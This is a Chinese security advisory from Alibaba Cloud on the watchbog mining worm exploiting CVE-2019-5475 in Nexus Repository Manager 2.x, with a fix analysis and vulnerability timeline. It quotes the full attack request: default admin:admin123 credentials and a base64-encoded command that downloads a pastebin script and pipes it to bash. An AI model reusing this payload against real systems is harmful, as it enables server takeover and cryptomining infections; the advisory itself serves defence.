概要

近日,阿里云安全团队发现wacthbo挖矿团伙[1]新增了CVE_2019_5475 的漏洞利用代码,并开始进行尝试性攻击。
通过对CVE_2019_5475漏洞的生命周期进行分析后发现,漏洞批量化利用的速度正在提高,如果未能在黄金修补周期内对漏洞进行修补,将有可能很快遭遇蠕虫和恶意攻击程序的攻击。

阿里云目前已第一时间上线默认防御策略。

背景

阿里云安全团队9月6日捕获了一起新漏洞利用,通过对涉及应用和漏洞的分析,我们确认这是watchbog团伙的一次版本更新,此次版本更新引入了新的漏洞CVE_2019_5475作为攻击武器,利用该漏洞该蠕虫可以通过几个简单的 HTTP 请求即可达到入侵并控制机器的目的。

漏洞涉及的应用Nexus 是一个强大的仓库管理器,它可以用于简化内部仓库和外部仓库的访问,是常见的maven私服解决方案。但是Nexus Repository Manager 2.x Capabilities中存在默认的弱密码账号,在使用401登录认证后,即可通过createrepo或mergerepo配置实现远程命令注入,从而执行任意功能。

漏洞利用payload

CVE_2019_5475 的利用代码如下所示:

PUT /nexus/service/siesta/capabilities/00009df00fbcea95 HTTP/1.1
Content-Length: 472
Accept-Encoding: gzip, deflate
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5
Host: 39.106.194.166:8081
Content-Type: application/xml
Authorization: Basic YWRtaW46YWRtaW4xMjM= <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>mergerepoPath</key><value>bash -c {echo,KGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4fHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4KXxiYXNo}|{base64,-d}|{bash,-i}</value></properties></ns2:capability>

其中使用了401HTTP 认证,并且存在admin:admin123的弱密码,因此只要对createrepo或mergerepo这两个字段进行命令注入,即可完成攻击。

通过对比漏洞修复前后的相关代码,其主要修改集中在yum/internal/task/CommandLineExecutor.java  这个文件。

在原有逻辑中,将直接把用户提交的命令进行执行,而修复方案即是增加了一个过滤函数getCleanCommand。

该函数将判断即将执行命令的文件路径和是否处于白名单内,否则将拒绝执行。

CVE_2019_5475生命周期回顾

2019-07-23 白帽子上报漏洞
2019-08-09 漏洞概要公开,厂商更新版本
2019-08-21 漏洞细节和利用代码公开
2019-09-04 国内白帽子提交到seebug
2019-09-06 蠕虫出现在野利用

我们回顾了CVE_2019_5475的整个生命周期,发现其在出现可利用poc代码到蠕虫的大规模利用的时间间隔仅为10天左右。而原理类似的CVE-2018-11770(Hadoop yarn RESTAPI 未授权RCE),其出现可用poc到被蠕虫大规模利用的时间约110天。

如果用户没有在8月9日-8月21日这个黄金时间内对漏洞进行修补,则可能遭到定向攻击者的成功攻击。
而在9月6日后,存在漏洞并且还未修复的用户,面对僵尸网络不停的扫描,几乎没有侥幸逃过攻击的可能性。

漏洞生命周期

​​​​​​​

每个漏洞都有其自身的生命周期,随着横轴时间线的往后,其利用价值也将逐渐降低。
顺着图中的白色线条,一个漏洞将经历从产生、poc验证、厂商公告、发布补丁以及逐渐消亡的过程,而这个过程也与常说的0day、1day、Nday 阶段进行对应。

让我们顺着红线,从攻击者的视角来看:

  1. 挖掘出一个poc后,攻击者可能会进行部分黑客活动进行小范围尝试
  2. 小范围的尝试和以及黑客圈子内的传播将扩大该漏洞被发现的可能性
  3. 随着漏洞利用价值的降低,部分圈子的泄露,该漏洞的存在被大家所知,并被部分白帽子提交给厂商
  4. 厂商将根据收到的漏洞对漏洞进行评估和修补,并同时发布安全公告
  5. 黑客们通过安全公告、漏洞详情公告等信息获得线索,并发动手中资源进行挖掘或购买等各种手段获得漏洞利用的详情,并据此开发出相应的攻击代码,并应用在各种恶意代码中

通过以往攻击 case 的分析,我们发现最大的攻击危害通常发生在大规模的攻击利用中,即漏洞被恶意攻击进行大规模利用前。

如果能在第5步前完成漏洞修补或者在之前的几步中及早发现攻击者的攻击尝试,并针对漏洞及早的进行防御和通知厂商进行修补,将能极大的减小该漏洞所造成的损失。

而阿里云实时保护着中国40%的网站,在服务百万客户的环境下,阿里云安全团队有机会第一时间看到最多的攻击变种和最大的攻击规模,并第一时间提供安全防御策略,提供安全告警通知,帮助用户更好地应对此类恶意程序的威胁。

安全建议

针对本文提到的漏洞,阿里云平台已可默认拦截。但仍建议使用Nexus Repository Manager  2.14.14以下的用户,尽快升级到 version 2.14.14以免遭遇恶意程序的攻击。

REF:
[1] Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复 - 阿里云官方博客的个人空间 - OSCHINA
[2]HackerOne
[3]GitHub - ab1gale/phpcms-2008-CVE-2018-19127
[4]Comparing release-2.14.12-02...release-2.14.14-01 · sonatype/nexus-public · GitHub
[5]CVE-2019-5475 Nexus Repository Manager 2 - OS Command Injection - 2019-08-09 – Sonatype Support

本文作者:目明

原文链接

本文为云栖社区原创内容,未经允许不得转载。

watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击的更多相关文章

  1. 年中盘点 | 2022年,PaaS 再升级

    作者丨刘世民(Sammy Liu)全文共7741个字,预计阅读需要15分钟 过去十五年,是云计算从无到有突飞猛进的十五年.PaaS作为云计算的重要组成部分,在伴随着云计算高速发展的同时,在云计算产业链 ...

  2. P1832 A+B Problem(再升级)

    P1832 A+B Problem(再升级) 题目提供者 usqwedf 传送门 标签 动态规划 数论(数学相关) 洛谷原创 难度 普及/提高- 通过/提交 107/202 题目背景 ·题目名称是吸引 ...

  3. A+B Problem(再升级)

    洛谷P1832 A+B Problem(再升级) ·给定一个正整数n,求将其分解成若干个素数之和的方案总数. 先说我的垃圾思路,根本没有验证它的正确性就xjb写的,过了垃圾样例,还水了20分,笑哭.. ...

  4. 洛谷——P1832 A+B Problem(再升级)

    P1832 A+B Problem(再升级) 题目背景 ·题目名称是吸引你点进来的 ·实际上该题还是很水的 题目描述 ·1+1=? 显然是2 ·a+b=? 1001回看不谢 ·哥德巴赫猜想 似乎已呈泛 ...

  5. 洛谷P1832 A+B Problem(再升级) [2017年4月计划 动态规划03]

    P1832 A+B Problem(再升级) 题目背景 ·题目名称是吸引你点进来的 ·实际上该题还是很水的 题目描述 ·1+1=? 显然是2 ·a+b=? 1001回看不谢 ·哥德巴赫猜想 似乎已呈泛 ...

  6. NGK福利再升级,1万枚VAST限时免费送

    NGK在推出持有算力获得SPC空投活动后,福利再升级,于美国加州时间2021年2月8日下午4点推出新人福利活动,注册NGK成为新会员,即可获得0.2枚VAST奖励. VAST免费福利送活动仅送出1万枚 ...

  7. 新动能 · 新机遇:SaaS软件提供商 Zoho 25 周年战略再升级

    25年,在历史的长河中不过转眼一瞬:但是对于创造者来说,25年足以颠覆一个时代...... 作为世界级云应用服务商,Zoho已经走过了25年的砥砺岁月.从ManageEngine到Zoho云服务,从工 ...

  8. Cleanmymac X空间透镜再升级

    什么是空间镜透,在Cleanmymac X中具体干什么使得?你了解多少?没关系,不要紧,看这里,下面给大家分享一下这款好用软件下的实用功能-空间透镜.盘它! 首先,Cleanmymac X是一款Mac ...

  9. 天池平台再升级,打造产业AI知识共享、技术共享平台

    在5月23日的云栖大会·武汉峰会上,天池发布“全球AI开发者计划”,打造一站式人工智能知识共享平台,计划2年内在平台上集聚30万AI工程师.同时,阿里云天池正式升级,成为从产业机会到实施交付一站式解决 ...

随机推荐

  1. python 测试框架nose

    python测试框架nose nose不是python自带模块,这里我才用pip的方式安装 pip install nose 这样就完成了安装,然后再确认下是否安装成功了,直接打开cmd输入noset ...

  2. PAT_A1106#Lowest Price in Supply Chain

    Source: PAT A1106 Lowest Price in Supply Chain (25 分) Description: A supply chain is a network of re ...

  3. 拾遗:『rhel6系列的开、关机脚本』

    一.系统脚本位置及含义 /etc/inittab./etc/init/* 存放开关机配置文件 /etc/init.d/* 服务脚本,是一个到/etc/rc.d/init.d/的软链接 /etc/rc. ...

  4. 拾遗:sed&vim

    一.sed查漏补缺 1.sed x,+y,从第x行的开始,向下连续y行(包含x行在内是y+1行!) f@z ~/testdir $ cat -n x.awk #!/usr/bin/awk -f BEG ...

  5. spark-submit 应用程序第三方jar文件

    第一种方式:打包到jar应用程序 操作:将第三方jar文件打包到最终形成的spark应用程序jar文件中 应用场景:第三方jar文件比较小,应用的地方比较少 第二种方式:spark-submit 参数 ...

  6. jupyter安装_pip法

    安装jupyter notebook的流程(注意python至少需要3.6版本) python -m pip install jupyter  #安装jupyter python -m pip ins ...

  7. POJ 3667 线段树区间合并裸题

    题意:给一个n和m,表示n个房间,m次操作,操作类型有2种,一种把求连续未租出的房间数有d个的最小的最左边的房间号,另一个操作时把从x到x+d-1的房间号收回. 建立线段树,值为1表示未租出,0为租出 ...

  8. USACO 2011 November Cow Lineup /// map set 尺取法 oj25279

    题目大意: 输入n 接下来n行描述n头牛的编号num和品种id 得到包含所有id的最短段 输出最短段的编号差 Sample Input 625 726 115 122 320 130 1 Sample ...

  9. mysql主从复制原理分析

    1.主从复制这类NFS存储数据通过inotify+rsync同步到备份的NFS服务器,只不 过Mysql的复制方案是其自带的工具inotify 是一种文件系统的变化通知机制,如文件增加.删除等事件可以 ...

  10. jq的绑定动态元素

    在项目中经常会遇到需要在页面中插入动态元素的情况,比如页面中有一个按钮: <div id="btn">确定</div> 点击按钮时在body中插入一段div ...